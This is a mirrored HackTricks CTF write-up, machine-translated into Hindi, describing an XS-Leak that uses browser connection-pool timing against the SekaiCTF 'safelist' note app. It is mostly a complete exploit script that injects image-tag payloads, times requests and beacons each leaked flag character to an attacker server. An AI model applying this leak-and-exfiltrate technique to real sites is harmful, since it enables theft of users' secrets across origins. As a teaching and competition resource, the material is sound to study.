mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 17:28:13 +00:00
8.4 KiB
8.4 KiB
Connection Pool by Destination Example
जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जाँच करें!
- हमारे विशेष NFTs कलेक्शन, The PEASS Family की खोज करें
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या मुझे ट्विटर पर फॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो में PR जमा करके.
इस एक्सप्लॉइट में, @terjanq ने निम्नलिखित पृष्ठ में उल्लिखित चुनौती के लिए एक और समाधान प्रस्तुत किया है:
{% content-ref url="connection-pool-by-destination-example.md" %} connection-pool-by-destination-example.md {% endcontent-ref %}
चलिए देखते हैं कि यह एक्सप्लॉइट कैसे काम करता है:
- हमलावर एक नोट डालेगा जिसमें जितने भी
<img
टैग होंगे जो/js/purify.js
को लोड करेंगे (6 से अधिक ताकि मूल को ब्लॉक किया जा सके)। - फिर, हमलावर नोट को इंडेक्स 1 के साथ हटा देगा।
- फिर, हमलावर [बॉट को पृष्ठ तक पहुंचाने के लिए] और
victim.com/js/purify.js
पर एक अनुरोध भेजेगा जिसे वह समय करेगा। - अगर समय अधिक है, तो हमलावा नोट में था, अगर समय कम है, तो फ्लैग वहां था।
{% hint style="info" %} सच कहूं, स्क्रिप्ट पढ़ते समय मुझे वहां कुछ हिस्सा गायब लगा जहां हमलावर ने बॉट को पृष्ठ लोड करने के लिए ट्रिगर करने के लिए इमेज टैग्स को लोड कराने का प्रयास किया, मैं कोड में ऐसा कुछ नहीं देख रहा हूँ। {% endhint %}
<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}
add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"
let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"
let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जाँच करें!
- द पीएस फैमिली की खोज करें, हमारा विशेष एनएफटीज़ संग्रह
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- शामिल हों 💬 डिस्कॉर्ड ग्रुप या टेलीग्राम ग्रुप या मुझे ट्विटर 🐦@carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो में पीआर जमा करके।